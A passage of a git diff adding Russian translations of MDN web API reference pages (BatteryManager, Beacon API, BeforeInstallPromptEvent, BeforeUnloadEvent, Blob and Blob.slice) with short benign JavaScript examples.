+ <dd>Число оставшихся секунд до полной разрядки устройства.</dd>
+ <dt>{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}</dt>
+ <dd>Число между 0.0 и 1.0, показывающее уровень заряда батареи устройства.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("BatteryManager.onchargingchange")}}</dt>
+ <dd>Обработчик для {{event("chargingchange")}} события; Событие вызывается при обновлении состояния процесса зарядки батареи на текущий момент.</dd>
+ <dt>{{domxref("BatteryManager.onchargingtimechange")}}</dt>
+ <dd>Обработчик для {{event("chargingtimechange")}} события; Событие вызывается при обнавлении времени до полной зарядки батареи устройства.</dd>
+ <dt>{{domxref("BatteryManager.ondischargingtimechange")}}</dt>
+ <dd>Обработчик для {{event("dischargingtimechange")}} события; Событие вызывается при обновлении времени до разрядки батареи устройства.</dd>
+ <dt>{{domxref("BatteryManager.onlevelchange")}}</dt>
+ <dd>Обработчик для {{event("levelchange")}} события; Событие вызывается при обновление уровня заряда батареи устройства.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Наследует от {{domxref("EventTarget")}}:</p>
+
+<p>{{page("/ru-RU/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.BatteryManager")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li>{{domxref("navigator.getBattery")}}</li>
+</ul>
diff --git a/files/ru/web/api/beacon_api/index.html b/files/ru/web/api/beacon_api/index.html
new file mode 100644
index 0000000000..984c00117d
--- /dev/null
+++ b/files/ru/web/api/beacon_api/index.html
@@ -0,0 +1,51 @@
+---
+title: Beacon API
+slug: Web/API/Beacon_API
+tags:
+  - Beacon
+  - JSAPI Reference
+  - Производительность
+translation_of: Web/API/Beacon_API
+---
+<div>{{DefaultAPISidebar("Beacon")}}{{SeeCompatTable}}</div>
+
+<div></div>
+
+<p>Интерфейс <strong><code>Beacon</code></strong> используется для планирования асинхронного и неблокирующего запроса к веб-серверу. <strong><code>Beacon</code></strong> запросы используют метод HTTP POST, и обычно не требуют ответа. Запросы гарантированно будут  инициированы до того, как страница будет выгружена, и они выполняются до конца, не требуя блокирующего запроса (например {{domxref("XMLHttpRequest")}}).</p>
+
+<p>Например, вариантом использования Beacon API может быть логирование активности или отправка аналитики на сервер.</p>
+
+<p>Пример кода интерфейсов, описанных в этом документе, включен в раздел <em><a href="/Web/API/Beacon_API/Using_the_Beacon_API">Использование Beacon API</a></em>.</p>
+
+
+
+<h2 id="Зачем_использовать_Beacon">Зачем использовать Beacon?</h2>
+
+<p>Интерфейс <code>Beacon</code> отвечает потребностям аналитического и диагностического кода, который обычно пытается отправить данные на веб-сервер перед выгрузкой документа. Отправка данных хоть на секунду раньше может привести к упущенной возможности сбора данных. В любом случае, обеспечение того, чтобы данные отправлялись во время выгрузки документа, является чем-то, что традиционно было трудным для разработчиков.</p>
+
+<p>Пользовательские браузеры обычно игнорируют асинхронные  {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создает синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. </p>
+
+<p>Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путем создания элемента Image и установки его атрибута <code>src</code> в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который  в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.</p>
+
+<p>Эти методы представляют плохие шаблоны программирования, некоторые из них ненадежны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.</p>
+
+<h2 id="Глобальный_контекст">Глобальный контекст</h2>
+
+<p>Интерфейс <code>Beacon API's</code> предоставляет метод {{domxref("Navigator.sendBeacon()")}}, который используется для отправки <em>beacon</em> данных  на сервер в <em>глобальный браузерный контекст</em>. Метод принимает два аргумента: URL и данные для отправки в запросе. Аргумент data является необязательным, и его тип может быть {{domxref ("ArrayBufferView")}}, {{domxref ("Blob")}}, {{domxref ("DOMString")}} или {{domxref (" FormData ")}}. Если браузер успешно поставил в очередь запрос на доставку, то метод возвращает <code>true</code> либо возвращает <code>false</code> в противном случае.</p>
+
+<h2 id="Рабочий_контекст">Рабочий контекст</h2>
+
+<p>Интерфейс <code>Beacon API's</code> предоставляет метод {{domxref("Navigator.sendBeacon()")}}, который используется для отправки <em>beacon</em> данных на сервер из <em>{{domxref("WorkerGlobalScope","worker global scope")}}</em>. Метод принимает два аргумента: URL-адрес и данные для отправки в запросе. Аргумент <code>data</code> является необязательным, и его тип может быть {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, или {{domxref("FormData")}}. Если браузер успешно поставил в очередь запрос на доставку, то метод возвращает <code>true</code> либо возвращает <code>false</code> в противном случае.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>The {{domxref("Navigator.sendBeacon","Navigator.sendBeacon()","Browser_compatibility")}} table indicates that method has relatively broad implementation.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+ <li><a href="https://w3c.github.io/beacon/">Beacon standard</a></li>
+ <li><a href="http://caniuse.com/#search=beacon">Beacon CanIUse data</a></li>
+ <li><a href="https://ehsanakhgari.org/blog/2015-04-08/intercepting-beacons-through-service-workers">Intercepting beacons through service workers</a>; Ehsan Akhgari; 2015-Apr-08</li>
+</ul>
diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html
new file mode 100644
index 0000000000..a9359fddfe
--- /dev/null
+++ b/files/ru/web/api/beforeinstallpromptevent/index.html
@@ -0,0 +1,61 @@
+---
+title: BeforeInstallPromptEvent
+slug: Web/API/BeforeInstallPromptEvent
+tags:
+  - API
+  - BeforeInstallPromptEvent
+  - Event
+  - Experimental
+  - Interface
+  - Reference
+translation_of: Web/API/BeforeInstallPromptEvent
+---
+<div><span style="line-height: 19.0909080505371px;">Событие </span><code><strong>BeforeInstallPromptEvent</strong></code><span style="line-height: 19.0909080505371px;"> запускается в обработчике </span>{{domxref("Window.onbeforeinstallprompt")}} <span style="line-height: 19.0909080505371px;">перед тем, как пользователю будет предложено "установить" веб-сайт на главный экран мобильного устройства.</span></div>
+
+<div><span style="line-height: 19.0909080505371px;">Этот интерфейс наследуется от интерфейса </span>{{domxref("Event")}}<span style="line-height: 19.0909080505371px;">.</span> </div>
+
+<div></div>
+
+<p>{{InheritanceDiagram(700, 60, 20)}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("BeforeInstallPromptEvent.BeforeInstallPromptEvent","BeforeInstallPromptEvent()")}}</dt>
+ <dd>Создает новый <code><strong>BeforeInstallPromptEvent</strong></code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от своего родителя, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BeforeInstallPromptEvent.platforms")}} {{readonlyinline}}</dt>
+ <dd>Возвращает массив элементов {{domxref("DOMString")}}, содержащий платформы, на которых было отправлено событие. Это предусмотрено для пользовательских агентов, которые хотят предоставить пользователю выбор версий, таких как, например, «web» или «play», что позволит пользователю выбирать между веб-версией или версией Android.</dd>
+ <dt>{{domxref("BeforeInstallPromptEvent.userChoice")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, которое разрешается в {{domxref("DOMString")}}, содержащее либо "accepted" (принято), либо "dismissed" (отклонено).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("BeforeInstallPromptEvent.prompt()")}} </dt>
+ <dd>Позволяет разработчику показывать запрос на установку в любое время по своему выбору. Этот метод возвращает {{jsxref("Promise")}}.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">window.addEventListener("beforeinstallprompt", function(e) {
+  // Зарегистрируйте платформы, указанные в качестве параметров, в запросе на установку
+  console.log(e.platforms); // e.g., ["web", "android", "windows"]
+  e.userChoice.then(function(choiceResult) {
+    console.log(choiceResult.outcome); // either "accepted" or "dismissed"
+  }, handleError);
+});
+</pre>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("api.BeforeInstallPromptEvent")}}</p>
diff --git a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html
new file mode 100644
index 0000000000..f8c623a1c1
--- /dev/null
+++ b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html
@@ -0,0 +1,48 @@
+---
+title: BeforeInstallPromptEvent.prompt()
+slug: Web/API/BeforeInstallPromptEvent/prompt
+tags:
+  - API
+  - BeforeInstallPromptEvent
+  - Experimental
+  - Method
+  - Reference
+  - prompt
+translation_of: Web/API/BeforeInstallPromptEvent/prompt
+---
+<div><span class="seoSummary">Метод <strong><code>prompt()</code></strong> интерфейса {{domxref("BeforeInstallPromptEvent")}} позволяет разработчику показывать подсказку об установке в любое время по своему выбору. </span></div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">BeforeInstallPromptEvent.prompt()</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>None.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Пустой {{jsxref("Promise")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="notranslate">var isTooSoon = true;
+window.addEventListener("beforeinstallprompt", function(e) {
+  if (isTooSoon) {
+    e.preventDefault(); // Предотвращает быстрое отображение
+    // Запросить позже:
+    setTimeout(function() {
+      isTooSoon = false;
+      e.prompt(); // Выбрасывает, если вызывается более одного раза или по умолчанию не предотвращено (not prevented)
+    }, 10000);
+  }
+
+  // Событие было повторно отправлено в ответ на наш запрос
+  // ...
+});</pre>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("api.BeforeInstallPromptEvent.prompt")}}</p>
diff --git a/files/ru/web/api/beforeunloadevent/index.html b/files/ru/web/api/beforeunloadevent/index.html
new file mode 100644
index 0000000000..768e7d2787
--- /dev/null
+++ b/files/ru/web/api/beforeunloadevent/index.html
@@ -0,0 +1,74 @@
+---
+title: BeforeUnloadEvent
+slug: Web/API/BeforeUnloadEvent
+tags:
+  - Диалог
+  - Окно
+translation_of: Web/API/BeforeUnloadEvent
+---
+<p>{{APIRef}}</p>
+
+<p>Событие <strong><code>beforeunload </code></strong>  (en: перед_выгрузкой) происходит (непосредственно) перед выгрузкой окна, документа и их ресурсов.</p>
+
+<p>Если присвоено ненулевое значение свойству <code>returnValue</code> Event, всплывает диалоговое окно: "Вы действительно хотите покинуть эту страницу?" (см. пример ниже). Если значение не присвоено, то событие не отображается. В некоторых случаях диалоговое окно всплывает только после взаимодействия пользователя с фреймом или любым встроенным фреймом. См. детали  {{anch("Browser compatibility")}} </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Всплывающие окна</td>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <td>Возможность отмены</td>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <td>Целевые Объекты</td>
+   <td>defaultView</td>
+  </tr>
+  <tr>
+   <td>Интерфейс</td>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js;">window.addEventListener("beforeunload", function( event ) {
+  event.returnValue = "\o/";
+});
+
+//is equivalent to
+window.addEventListener("beforeunload", function( event ) {
+  event.preventDefault();
+});</pre>
+
+<p>Webkit-based browsers не следуют спецификации диалоговых окон . Самый кросс-браузерный работающий пример выглядит примерно так: см. ниже.</p>
+
+<pre class="brush: js">window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  (e || window.event).returnValue = confirmationMessage;     //Gecko + IE
+  return confirmationMessage;                                //Webkit, Safari, Chrome etc.
+});</pre>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этом листе извлечена из структурированных данных. Если Вы хотите внести свой вклад в эти данные, пожалуйста, проверьте<br>
+ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос (на вытягивание).</div>
+
+<p>{{Compat("api.BeforeUnloadEvent")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Event("DOMContentLoaded")}}</li>
+ <li>{{Event("readystatechange")}}</li>
+ <li>{{Event("load")}}</li>
+ <li>{{Event("beforeunload")}}</li>
+ <li>{{Event("unload")}}</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document" title="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document">Выгрузка Документов - Запрос на выгрузку документа</a> </li>
+</ul>
diff --git a/files/ru/web/api/blob/blob/index.html b/files/ru/web/api/blob/blob/index.html
new file mode 100644
index 0000000000..b1ed2d7bc1
--- /dev/null
+++ b/files/ru/web/api/blob/blob/index.html
@@ -0,0 +1,123 @@
+---
+title: Blob()
+slug: Web/API/Blob/Blob
+translation_of: Web/API/Blob/Blob
+---
+<p>{{APIRef("File API")}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Конструктор </font><strong>Blob()</strong></code> возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединенных значений, переданных в параметре <em>array</em>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var aBlob = new Blob(<em> array</em>, <em>options</em> );
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><em>array</em> - массив {{jsxref("Array")}} из объектов {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("DOMString")}}, или смесь любых из подобных объектов, которая может быть размещена внутри {{domxref("Blob")}}. DOMStrings представлены в кодировке UTF-8.</li>
+ <li><em>option</em><em>s</em> is an optional <code>BlobPropertyBag</code> dictionary which may specify the following two attributes:
+  <ul>
+   <li><code>type</code>, with a default value of <code>""</code>, that represents the MIME type of the content of the array that will be put in the blob.</li>
+   <li><code>endings</code>, with a default value of <code>"transparent"</code>, that specifies how strings containing the line ending character <code>\n</code> are to be written out. It is one of the two values: <code>"native"</code>, meaning that line ending characters are changed to match host OS filesystem convention, or <code>"transparent", </code>meaning that endings are stored in the blob without change. {{non-standard_inline}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js  language-js">var aFileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;']; // an array consisting of a single DOMString
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#constructorBlob', 'Blob()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20</td>
+   <td>{{CompatGeckoDesktop("13.0")}} [1]</td>
+   <td>10</td>
+   <td>12.10</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>in Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>in Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("14.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Firefox 16, the second parameter, when set to <code>null</code> or <code>undefined</code>, leads to an error instead of being handled as an empty dictionary.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The deprecated {{domxref("BlobBuilder")}} which this constructor replaces.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/blob/index.html b/files/ru/web/api/blob/index.html
new file mode 100644
index 0000000000..a256ce6a5f
--- /dev/null
+++ b/files/ru/web/api/blob/index.html
@@ -0,0 +1,178 @@
+---
+title: Blob
+slug: Web/API/Blob
+translation_of: Web/API/Blob
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><font face="Open Sans, Arial, sans-serif">Объект </font><code>Blob</code> представляет из себя подобный файлу объект с неизменяемыми, необработанными данными; они могут читаться как текст или двоичные данные, либо могут быть преобразованы в {{DOMxRef("ReadableStream")}}, таким образом, его методы могут быть использованы для обработки данных.</p>
+
+<p>Blob-ы могут представлять данные, которые не обязательно должны быть в родном для JavaScript формате. Интерфейс {{domxref("File")}} основан на <code>Blob</code>, наследует функциональность <code>Blob</code> и расширяет его для поддержки файлов на стороне пользователя.</p>
+
+<h2 id="Использование_Blob">Использование Blob</h2>
+
+<p>Для создания <code>Blob</code> не из объектов и данных blob, используйте конструктор {{domxref("Blob.Blob", "Blob()")}} . Чтобы создать blob из подмножества данных из другого blob, используйте метод {{domxref("Blob.slice()", "slice()")}}. Чтобы получить объект <code>Blob</code> для файла на файловой системе пользователя, смотрите документацию на {{domxref("File")}}.</p>
+
+<p>API, принимающие объекты <code>Blob</code>, также перечислены в документации на {{domxref("File")}}.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Метод <code>slice()</code> имеет изначально задаваемую длину как второй аргумент, что используется для указания числа байт копируемых в новый <code>Blob.</code> Если указать такие параметры <code>start + length</code>, которые превышают размер исходного <code>Blob</code>, то возвращаемый <code>Blob</code> будет содержать данные от начального индекса (start index) до конца исходного <code>Blob.</code></p>
+</div>
+
+<div class="note"><strong>Заметка:</strong>  Следует помнить ,что метод <code>slice()</code> имеет сторонние префиксы в некоторых браузерах: <code>blob.mozSlice()</code> для Firefox 12 и ранее,  так же <code>blob.webkitSlice()</code> в Safari. Старая версия метода <code>slice()</code>, без сторонних приставок, имеет другой алгоритм и устарела. Поддержка <code>blob.mozSlice()</code> была убрана в Firefox 30.</div>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Blob.Blob", "Blob(blobParts[, options])")}}</dt>
+ <dd>Возвращает создаваемый объект Blob, который содержит соединение всех данных в массиве, переданном в конструктор.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Blob.isClosed")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Логическое значение, показывающее, вызывался ли метод {{domxref("Blob.close()")}} у blob. Закрытый blob не может быть прочитан.</dd>
+ <dt>{{domxref("Blob.size")}} {{readonlyinline}}</dt>
+ <dd>Размер данных, содержащихся в объекте <code>Blob</code>, в байтах.</dd>
+ <dt>{{domxref("Blob.type")}} {{readonlyinline}}</dt>
+ <dd>Строка с MIME-типом данных, содержащихся в <code>Blob</code>. Если тип неизвестен, строка пуста.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Blob.close()")}} {{experimental_inline}}</dt>
+ <dd>Закрывает Blob объект, по возможности освобождая занятые им ресурсы.</dd>
+ <dt>{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt>
+ <dd>Возвращает новый <code>Blob</code> объект, содержащий данные в указанном диапазоне байтов исходного <code>Blob</code>.</dd>
+ <dt>{{DOMxRef("Blob.stream()")}}</dt>
+ <dd>Возвращает {{DOMxRef("ReadableStream")}}, который может использоваться для чтения содержимого <code>Blob</code>.</dd>
+ <dt>{{DOMxRef("Blob.text()")}}</dt>
+ <dd>Возвращает promise, который исполняется с {{DOMxRef("USVString")}}, содержащей всё содержимое <code>Blob</code>, интерпретируемое как текст UTF-8.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Создание_Blob">Создание Blob</h3>
+
+<p>Конструктор {{domxref("Blob.Blob", "Blob() constructor")}} может создавать объекты blob из других объектов. Например, чтобы сконструировать blob из строки JSON:</p>
+
+<pre class="brush: js">const obj = {hello: 'world'};
+const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});</pre>
+
+<div class="warning">
+<p>До того как конструктор Blob стал доступен, это могло быть выполнено через устаревший API {{domxref("BlobBuilder")}}:</p>
+
+<pre class="brush: js">var builder = new BlobBuilder();
+var fileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'];
+builder.append(fileParts[0]);
+var myBlob = builder.getBlob('text/xml');
+</pre>
+</div>
+
+<h3 id="Создание_URL_для_содержимого_типизированного_массива">Создание URL для содержимого типизированного массива</h3>
+
+<p>Следующий код создает типизированный массив JavaScript и создает новый <code>Blob</code>, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This example creates a typed array containing the ASCII codes
+   for the space character through the letter Z, then converts it
+   to an object URL. A link to open that object URL is created.
+   Click the link to see the decoded object URL.&lt;/p&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Основной частью этого кода для примера является функция <code>typedArrayToURL()</code>, которая создает <code>Blob</code> из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).</p>
+
+<pre class="brush: js">function typedArrayToURL(typedArray, mimeType) {
+  return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
+}
+
+const bytes = new Uint8Array(59);
+
+for(let i = 0; i &lt; 59; i++) {
+  bytes[i] = 32 + i;
+}
+
+const url = typedArrayToURL(bytes, 'text/plain');
+
+const link = document.createElement('a');
+link.href = url;
+link.innerText = 'Open the array URL';
+
+document.body.appendChild(link);</pre>
+
+<p>
+ </p><h3 id="Другой_пример">Другой пример</h3>
+
+
+<pre class="brush: js">var typedArray = GetTheTypedArraySomehow();
+var blob = new Blob([typedArray], {type: 'application/octet-binary'}); // pass a useful mime type here
+var url = URL.createObjectURL(blob);
+// url will be something like: blob:d3958f5c-0777-0845-9dcf-2cb28783acaf
+// now you can use the url in any context that regular URLs can be used in, for example img.src, etc.
+</pre>
+
+<h3 id="Извлечение_данных_из_Blob">Извлечение данных из Blob</h3>
+
+<p>Один из способов прочесть содержимое <code>Blob</code> <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это использовать {{domxref("FileReader")}}. Следующий код читает содержимое <code>Blob</code> как типизированный массив.</p>
+
+<pre class="brush: js">var reader = new FileReader();
+reader.addEventListener("loadend", function() {
+   // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);</pre>
+
+<p>Другой способ прочитать содержимое из <code>Blob</code> <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это использовать {{domxref("Response")}}. Следующий код читает содержимое <code>Blob</code> как текст:</p>
+
+<pre class="brush: js">const text = await (new Response(blob)).text();
+</pre>
+
+<p>Или можно использовать {{DOMxRef("Blob.text()")}}:</p>
+
+<pre class="brush: js">const text = await blob.text();</pre>
+
+<p>Используя другие методы {{domxref("FileReader")}}, возможно прочесть содержимое объекта Blob как строку или как URL.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#blob-section','Blob')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.Blob")}}</p>
+
+<h2 id="Замечания_Gecko_доступность_в_привилегированном_коде">Замечания Gecko: доступность в привилегированном коде</h2>
+
+<p>Для использования в коде chrome, JSM и Bootstrap scope, вы должны импортировать его следующим образом:</p>
+
+<pre class="brush: js">Cu.importGlobalProperties(['Blob']);
+</pre>
+
+<p><code>Blob</code> доступен в Worker scopes.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("BlobBuilder")}}</li>
+ <li>{{DOMxRef("FileReader")}}</li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("URL.createObjectURL")}}</li>
+ <li><a href="/ru/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/API/File/Using_files_from_web_applications">Использование файлов в веб-приложениях</a></li>
+</ul>
diff --git a/files/ru/web/api/blob/slice/index.html b/files/ru/web/api/blob/slice/index.html
new file mode 100644
index 0000000000..f0e5eaf4df
--- /dev/null
+++ b/files/ru/web/api/blob/slice/index.html
@@ -0,0 +1,59 @@
+---
+title: Blob.slice()
+slug: Web/API/Blob/slice
+translation_of: Web/API/Blob/slice
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>Метод <strong><code>Blob.slice()</code></strong> используется для создания нового объекта  {{domxref("Blob")}}, содержащего данные в указанном диапазоне байтов исходника {{domxref("Blob")}}.</p>
+
+<div class="note"><strong>Примечание:</strong> Помните, что метод  <code>slice()</code> имеет префиксы в некоторых браузерах и версиях: <code>blob.mozSlice()</code> для Firefox 12  и ранних, и <code>blob.webkitSlice()</code> для Safari. Старая версия метода <code>slice()</code> без префиксов, имела разную семантику, и устарела.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var blob = instanceOfBlob.slice([start [, end [, contentType]]]);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, включенный в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение <code>start</code>, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, который <strong>не</strong> будет включен в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включен). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно <code>size</code>.</dd>
+ <dt><code>contentType</code> {{optional_inline}}</dt>
+ <dd>Тип содержимого нового {{domxref("Blob")}}; это будет значение его свойства <code>type</code>. Значение по умолчанию - пустая строка.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый {{domxref("Blob")}} объект содержит данные, указанные в источнике {{domxref("Blob")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
